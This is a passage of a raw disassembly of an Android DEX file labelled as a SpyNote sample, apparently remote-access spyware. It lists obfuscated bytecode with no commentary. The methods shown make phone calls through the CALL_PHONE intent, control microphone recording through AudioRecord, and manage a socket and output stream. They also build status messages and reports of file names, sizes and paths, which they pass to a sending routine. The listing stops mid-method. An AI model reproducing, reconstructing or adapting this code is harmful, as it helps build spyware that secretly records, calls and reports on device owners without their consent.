File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00081090
    00081090 struct try_item
    00081090 start_addr uint32 0x81058
    00081094 insn_count int 11
    00081096 handler_off uint16 0x810a9
    00081098
    00081098 struct encoded_catch_handler_list
    00081098 size int 5
    00081099
    00081099 struct encoded_catch_handler ← 0x81076
    00081099 size int64 1
    0008109a handlers[0].type_idx int 0x5994
    0008109c handlers[0].addr uint32 0x81000
    0008109d
    0008109d struct encoded_catch_handler ← 0x8107e
    0008109d size int64 1
    0008109e handlers[0].type_idx int 0x5994
    000810a0 handlers[0].addr uint32 0x81026
    000810a1
    000810a1 struct encoded_catch_handler ← 0x81086
    000810a1 size int64 1
    000810a2 handlers[0].type_idx int 0x5994
    000810a4 handlers[0].addr uint32 0x81042
    000810a5
    000810a5 struct encoded_catch_handler ← 0x8108e
    000810a5 size int64 1
    000810a6 handlers[0].type_idx int 0x5994
    000810a8 handlers[0].addr uint32 0x81058
    000810a9
    000810a9 struct encoded_catch_handler ← 0x81096
    000810a9 size int64 1
    000810aa handlers[0].type_idx int 0x5994
    000810ac handlers[0].addr uint32 0x8106e
    000810ad
    000810ad // align 0x10
    000810b0
    000810b0cmf0.c3b5bm90zq.patch.C11::q(cmf0.c3b5bm90zq.patch.C11):
    000810c0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->w()V
    000810c6return-void
    000810b0
    000810c8
    000810c8cmf0.c3b5bm90zq.patch.C11::q(java.lang.String):
    000810d8new-instance v0, Ljava/lang/Thread;
    000810dcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$26;
    000810e0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$26;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000810e6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000810ecinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000810f2return-void
    000810c8
    000810f4
    000810f4cmf0.c3b5bm90zq.patch.C11::r():
    00081104iget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    00081108if-eqz v0, :cond_9
    0008110ciget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    00081110invoke-virtual {v0}, Landroid/os/Vibrator;->cancel()V
    00081116return-void
    000810f4
    00081118
    00081118 struct try_item
    00081118 start_addr uint32 0x81104
    0008111c insn_count int 9
    0008111e handler_off uint16 0x81121
    00081120
    00081120 struct encoded_catch_handler_list
    00081120 size int 1
    00081121
    00081121 struct encoded_catch_handler ← 0x8111e
    00081121 size int64 1
    00081122 handlers[0].type_idx int 0x5994
    00081124 handlers[0].addr uint32 0x81116
    00081125
    00081125 // align 0x8
    00081128
    00081128cmf0.c3b5bm90zq.patch.C11::r(cmf0.c3b5bm90zq.patch.C11):
    00081138invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->z()V
    0008113ereturn-void
    00081128
    00081140
    00081140cmf0.c3b5bm90zq.patch.C11::r(java.lang.String):
    00081150const-string v0, ""
    00081154if-ne v4, v0, :cond_5
    00081158return-void
    0008115ainvoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081160move-result-object v0
    00081162const-string v1, "android.permission.CALL_PHONE"
    00081166invoke-static {v0, v1}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    0008116cmove-result v0
    0008116eif-eqz v0, :cond_12
    00081172return-void
    00081174new-instance v0, Landroid/content/Intent;
    00081178const-string v1, "android.intent.action.CALL"
    0008117cinvoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
    00081182new-instance v1, Ljava/lang/StringBuilder;
    00081186invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    0008118cconst-string v2, "tel:"
    00081190invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081196invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008119cinvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000811a2move-result-object v4
    000811a4invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    000811aamove-result-object v4
    000811acinvoke-virtual {v0, v4}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
    000811b2const/high16 v4, 0x10000000
    000811b6invoke-virtual {v0, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    000811bcinvoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startActivity(Landroid/content/Intent;)V
    000811c2return-void
    00081140
    000811c4
    000811c4 struct try_item
    000811c4 start_addr uint32 0x8115a
    000811c8 insn_count int 52
    000811ca handler_off uint16 0x811cd
    000811cc
    000811cc struct encoded_catch_handler_list
    000811cc size int 1
    000811cd
    000811cd struct encoded_catch_handler ← 0x811ca
    000811cd size int64 1
    000811ce handlers[0].type_idx int 0x5994
    000811d0 handlers[0].addr uint32 0x811c2
    000811d1
    000811d1 // align 0x4
    000811d4
    000811d4cmf0.c3b5bm90zq.patch.C11::s():
    000811e4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000811e8invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000811eemove-result-object v1
    000811f0const/16 v2, 0x80
    000811f4invoke-virtual {v0, v1, v2, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;II)Ljava/lang/String;
    000811famove-result-object v0
    000811fcnew-instance v1, Ljava/lang/StringBuilder;
    00081200invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00081206sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008120aconst-wide/16 v4, 0x43
    0008120einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081214move-result-object v2
    00081216invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008121csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081220invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081226const-string v2, "OK"
    0008122ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081230sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081234invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008123asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008123econst-wide/16 v4, 0x54
    00081242invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081248move-result-object v2
    0008124ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081250sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081254invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008125ainvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081260invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081266move-result-object v0
    00081268invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    0008126ereturn-void
    000811d4
    00081270
    00081270 struct try_item
    00081270 start_addr uint32 0x811e4
    00081274 insn_count int 69
    00081276 handler_off uint16 0x81279
    00081278
    00081278 struct encoded_catch_handler_list
    00081278 size int 1
    00081279
    00081279 struct encoded_catch_handler ← 0x81276
    00081279 size int64 1
    0008127a handlers[0].type_idx int 0x5994
    0008127c handlers[0].addr uint32 0x8126e
    0008127d
    0008127d // align 0x10
    00081280
    00081280cmf0.c3b5bm90zq.patch.C11::s(cmf0.c3b5bm90zq.patch.C11):
    00081290invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->D()V
    00081296return-void
    00081280
    00081298
    00081298cmf0.c3b5bm90zq.patch.C11::s(java.lang.String):
    000812a8new-instance v0, Ljava/lang/Thread;
    000812acnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$29;
    000812b0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$29;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000812b6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000812bcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000812c2return-void
    00081298
    000812c4
    000812c4cmf0.c3b5bm90zq.patch.C11::t(cmf0.c3b5bm90zq.patch.C11):
    000812d4iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    000812d8return-object v0
    000812c4
    000812da
    000812da // align 0x4
    000812dc
    000812dccmf0.c3b5bm90zq.patch.C11::t():
    000812ecconst/4 v0, 0x0
    000812eeiget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    000812f2if-eqz v1, :cond_1b
    000812f6iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->V:Z
    000812faiget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    000812feinvoke-virtual {v1}, Landroid/media/AudioRecord;->stop()V
    00081304iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    00081308invoke-virtual {v1}, Landroid/media/AudioRecord;->release()V
    0008130econst/4 v1, 0x0
    00081310iput-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    00081314const-wide/16 v1, 0x0
    00081318iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->W:J
    0008131cgoto :goto_1b
    0008131eiput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->V:Z
    00081322return-void
    000812dc
    00081324
    00081324 struct try_item
    00081324 start_addr uint32 0x812ee
    00081328 insn_count int 23
    0008132a handler_off uint16 0x8132d
    0008132c
    0008132c struct encoded_catch_handler_list
    0008132c size int 1
    0008132d
    0008132d struct encoded_catch_handler ← 0x8132a
    0008132d size int64 1
    0008132e handlers[0].type_idx int 0x5994
    00081330 handlers[0].addr uint32 0x8131e
    00081331
    00081331 // align 0x4
    00081334
    00081334cmf0.c3b5bm90zq.patch.C11::u(cmf0.c3b5bm90zq.patch.C11):
    00081344iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    00081348return-object v0
    00081334
    0008134a
    0008134a // align 0x4
    0008134c
    0008134ccmf0.c3b5bm90zq.patch.C11::u():
    0008135cnew-instance v0, Ljava/lang/Thread;
    00081360new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$34;
    00081364invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$34;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008136ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081370invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081376return-void
    0008134c
    00081378
    00081378cmf0.c3b5bm90zq.patch.C11::v():
    00081388sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008138cconst-class v1, Lcmf0/c3b5bm90zq/patch/C5;
    00081390invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081396move-result-object v2
    00081398invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008139emove-result v0
    000813a0const/4 v1, 0x1
    000813a2if-ne v0, v1, :cond_19
    000813a6new-instance v0, Landroid/content/Intent;
    000813aaconst-class v1, Lcmf0/c3b5bm90zq/patch/C5;
    000813aeinvoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000813b4invoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    000813bareturn-void
    00081378
    000813bc
    000813bc struct try_item
    000813bc start_addr uint32 0x81388
    000813c0 insn_count int 25
    000813c2 handler_off uint16 0x813c5
    000813c4
    000813c4 struct encoded_catch_handler_list
    000813c4 size int 1
    000813c5
    000813c5 struct encoded_catch_handler ← 0x813c2
    000813c5 size int64 1
    000813c6 handlers[0].type_idx int 0x5994
    000813c8 handlers[0].addr uint32 0x813ba
    000813c9
    000813c9 // align 0x4
    000813cc
    000813cccmf0.c3b5bm90zq.patch.C11::v(cmf0.c3b5bm90zq.patch.C11):
    000813dcinvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->x()V
    000813e2return-void
    000813cc
    000813e4
    000813e4cmf0.c3b5bm90zq.patch.C11::w():
    000813f4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000813f8const-class v1, Lcmf0/c3b5bm90zq/patch/C15;
    000813fcinvoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081402move-result-object v2
    00081404invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008140amove-result v0
    0008140cconst/4 v1, 0x1
    0008140eif-ne v0, v1, :cond_19
    00081412new-instance v0, Landroid/content/Intent;
    00081416const-class v1, Lcmf0/c3b5bm90zq/patch/C15;
    0008141ainvoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00081420invoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    00081426return-void
    000813e4
    00081428
    00081428 struct try_item
    00081428 start_addr uint32 0x813f4
    0008142c insn_count int 25
    0008142e handler_off uint16 0x81431
    00081430
    00081430 struct encoded_catch_handler_list
    00081430 size int 1
    00081431
    00081431 struct encoded_catch_handler ← 0x8142e
    00081431 size int64 1
    00081432 handlers[0].type_idx int 0x5994
    00081434 handlers[0].addr uint32 0x81426
    00081435
    00081435 // align 0x8
    00081438
    00081438cmf0.c3b5bm90zq.patch.C11::w(cmf0.c3b5bm90zq.patch.C11):
    00081448invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->y()V
    0008144ereturn-void
    00081438
    00081450
    00081450cmf0.c3b5bm90zq.patch.C11::x():
    00081460const/4 v0, 0x0
    00081462iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    00081466if-eqz v1, :cond_c
    0008146aiget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    0008146einvoke-virtual {v1}, Ljava/net/Socket;->close()V
    00081474iput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    00081478iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    0008147cif-eqz v1, :cond_17
    00081480iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    00081484invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    0008148aiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    0008148econst/4 v0, 0x0
    00081490iput-boolean v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->z:Z
    00081494return-void
    00081450
    00081496
    00081496 struct code_item_padding
    00081496 padding uint16 0x0000
    00081498
    00081498 struct try_item
    00081498 start_addr uint32 0x81462
    0008149c insn_count int 11
    0008149e handler_off uint16 0x814a9
    000814a0
    000814a0 struct try_item
    000814a0 start_addr uint32 0x81478
    000814a4 insn_count int 11
    000814a6 handler_off uint16 0x814ad
    000814a8
    000814a8 struct encoded_catch_handler_list
    000814a8 size int 2
    000814a9
    000814a9 struct encoded_catch_handler ← 0x8149e
    000814a9 size int64 1
    000814aa handlers[0].type_idx int 0x5994
    000814ac handlers[0].addr uint32 0x81478
    000814ad
    000814ad struct encoded_catch_handler ← 0x814a6
    000814ad size int64 1
    000814ae handlers[0].type_idx int 0x5994
    000814b0 handlers[0].addr uint32 0x8148e
    000814b1
    000814b1 // align 0x4
    000814b4
    000814b4cmf0.c3b5bm90zq.patch.C11::x(cmf0.c3b5bm90zq.patch.C11):
    000814c4invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->A()V
    000814careturn-void
    000814b4
    000814cc
    000814cccmf0.c3b5bm90zq.patch.C11::y():
    000814dciget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814e0if-eqz v0, :cond_11
    000814e4iget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814e8invoke-virtual {v0}, Landroid/media/MediaPlayer;->stop()V
    000814eeiget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814f2invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
    000814f8const/4 v0, 0x0
    000814faiput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814fereturn-void
    000814cc
    00081500
    00081500 struct try_item
    00081500 start_addr uint32 0x814dc
    00081504 insn_count int 2
    00081506 handler_off uint16 0x81519
    00081508
    00081508 struct try_item
    00081508 start_addr uint32 0x814e4
    0008150c insn_count int 5
    0008150e handler_off uint16 0x8151d
    00081510
    00081510 struct try_item
    00081510 start_addr uint32 0x814ee
    00081514 insn_count int 8
    00081516 handler_off uint16 0x81519
    00081518
    00081518 struct encoded_catch_handler_list
    00081518 size int 2
    00081519
    00081519 struct encoded_catch_handler ← 0x81506 0x81516
    00081519 size int64 1
    0008151a handlers[0].type_idx int 0x5994
    0008151c handlers[0].addr uint32 0x814fe
    0008151d
    0008151d struct encoded_catch_handler ← 0x8150e
    0008151d size int64 2
    0008151e handlers[0].type_idx int 0x59dc
    00081520 handlers[0].addr uint32 0x814ee
    00081521 handlers[1].type_idx int 0x5994
    00081523 handlers[1].addr uint32 0x814fe
    00081524
    00081524cmf0.c3b5bm90zq.patch.C11::y(cmf0.c3b5bm90zq.patch.C11):
    00081534invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->B()V
    0008153areturn-void
    00081524
    0008153c
    0008153ccmf0.c3b5bm90zq.patch.C11::z():
    0008154cnew-instance v0, Ljava/lang/Thread;
    00081550new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$19;
    00081554invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$19;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008155ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081560invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081566return-void
    0008153c
    00081568
    00081568cmf0.c3b5bm90zq.patch.C11::z(cmf0.c3b5bm90zq.patch.C11):
    00081578invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->C()V
    0008157ereturn-void
    00081568
    00081580
    00081580cmf0.c3b5bm90zq.patch.C11::a(android.graphics.Bitmap, int, int):
    00081590invoke-virtual {v7}, Landroid/graphics/Bitmap;->getWidth()I
    00081596move-result v0
    00081598invoke-virtual {v7}, Landroid/graphics/Bitmap;->getHeight()I
    0008159emove-result v1
    000815a0int-to-float v2, v9
    000815a2int-to-float v0, v0
    000815a4div-float v3, v2, v0
    000815a8int-to-float v4, v8
    000815aaint-to-float v1, v1
    000815acdiv-float v5, v4, v1
    000815b0invoke-static {v3, v5}, Ljava/lang/Math;->max(FF)F
    000815b6move-result v3
    000815b8mul-float v0, v0, v3
    000815bcmul-float v3, v3, v1
    000815c0sub-float/2addr v2, v0
    000815c2const/high16 v1, 0x40000000
    000815c6div-float/2addr v2, v1
    000815c8sub-float/2addr v4, v3
    000815cadiv-float/2addr v4, v1
    000815ccnew-instance v1, Landroid/graphics/RectF;
    000815d0add-float/2addr v0, v2
    000815d2add-float/2addr v3, v4
    000815d4invoke-direct {v1, v2, v4, v0, v3}, Landroid/graphics/RectF;-><init>(FFFF)V
    000815dainvoke-virtual {v7}, Landroid/graphics/Bitmap;->getConfig()Landroid/graphics/Bitmap$Config;
    000815e0move-result-object v0
    000815e2invoke-static {v9, v8, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000815e8move-result-object v8
    000815eanew-instance v9, Landroid/graphics/Canvas;
    000815eeinvoke-direct {v9, v8}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000815f4const/4 v0, 0x0
    000815f6invoke-virtual {v9, v7, v0, v1, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/RectF;Landroid/graphics/Paint;)V
    000815fcreturn-object v8
    00081580
    000815fe
    000815fe // align 0x10
    00081600
    00081600cmf0.c3b5bm90zq.patch.C11::a(android.content.Context):
    00081610const/4 v0, 0x0
    00081612new-instance v1, Landroid/content/IntentFilter;
    00081616const-string v2, "android.intent.action.BATTERY_CHANGED"
    0008161ainvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00081620invoke-virtual {v4, v0, v1}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    00081626move-result-object v4
    00081628const-string v0, "temperature"
    0008162cconst/4 v1, 0x0
    0008162einvoke-virtual {v4, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00081634move-result v4
    00081636int-to-float v4, v4
    00081638const/high16 v0, 0x41200000
    0008163cdiv-float/2addr v4, v0
    0008163enew-instance v0, Ljava/lang/StringBuilder;
    00081642invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00081648invoke-static {v4}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
    0008164emove-result-object v4
    00081650invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081656const-string v4, "*C"
    0008165ainvoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081660invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081666move-result-object v4
    00081668return-object v4
    0008166aconst-string v4, "0*C"
    0008166ereturn-object v4
    00081600
    00081670
    00081670 struct try_item
    00081670 start_addr uint32 0x81612
    00081674 insn_count int 43
    00081676 handler_off uint16 0x81679
    00081678
    00081678 struct encoded_catch_handler_list
    00081678 size int 1
    00081679
    00081679 struct encoded_catch_handler ← 0x81676
    00081679 size int64 1
    0008167a handlers[0].type_idx int 0x5994
    0008167c handlers[0].addr uint32 0x8166a
    0008167d
    0008167d // align 0x10
    00081680
    00081680cmf0.c3b5bm90zq.patch.C11::a():
    00081690new-instance v0, Ljava/lang/Thread;
    00081694new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$23;
    00081698invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$23;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008169einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000816a4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000816aareturn-void
    00081680
    000816ac
    000816accmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String):
    000816bcnew-instance v0, Ljava/lang/StringBuilder;
    000816c0invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    000816c6invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816ccconst-string v7, "/"
    000816d0invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816d6invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000816dcinvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000816e2move-result-object v7
    000816e4invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    000816eamove-result-object v7
    000816ecinvoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    000816f2move-result-object v7
    000816f4new-instance v8, Ljava/io/File;
    000816f8invoke-virtual {v7}, Landroid/net/Uri;->getPath()Ljava/lang/String;
    000816femove-result-object v7
    00081700invoke-direct {v8, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00081706invoke-virtual {v8}, Ljava/io/File;->exists()Z
    0008170cmove-result v7
    0008170eif-eqz v7, :cond_7a
    00081712invoke-virtual {v8}, Ljava/io/File;->length()J
    00081718move-result-wide v0
    0008171anew-instance v7, Ljava/lang/StringBuilder;
    0008171einvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    00081724sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081728const-wide/16 v4, 0x48
    0008172cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081732move-result-object v2
    00081734invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008173asget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008173einvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081744sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081748const-wide/16 v4, 0x66
    0008174cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081752move-result-object v2
    00081754invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008175asget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008175einvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081764invoke-virtual {v8}, Ljava/io/File;->getName()Ljava/lang/String;
    0008176amove-result-object v2
    0008176cinvoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081772sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081776invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008177cinvoke-static {v0, v1}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
    00081782move-result-object v0
    00081784invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008178asget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008178einvoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081794invoke-virtual {v8}, Ljava/io/File;->getPath()Ljava/lang/String;
    0008179amove-result-object v8
    0008179cinvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000817a2invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000817a8move-result-object v7
    000817aainvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000817b0return-void
    000816ac
    000817b2
    000817b2 // align 0x4
    000817b4
    000817b4cmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String):
    000817c4new-instance v0, Ljava/lang/Thread;
    000817c8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$3;
    000817ccinvoke-direct {v1, v2, v4, v5, v3}, Lcmf0/c3b5bm90zq/patch/C11$3;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
    000817d2invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000817d8invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000817dereturn-void
    000817b4
    000817e0
    000817e0cmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    000817f0new-instance v0, Ljava/lang/Thread;
    000817f4new-instance v8, Lcmf0/c3b5bm90zq/patch/C11$5;
    000817f8move-object v1, v8
    000817famove-object v2, v9
    000817fcmove-object v3, v11
    000817femove-object v4, v10
    00081800move-object v5, v12
    00081802move-object v6, v14
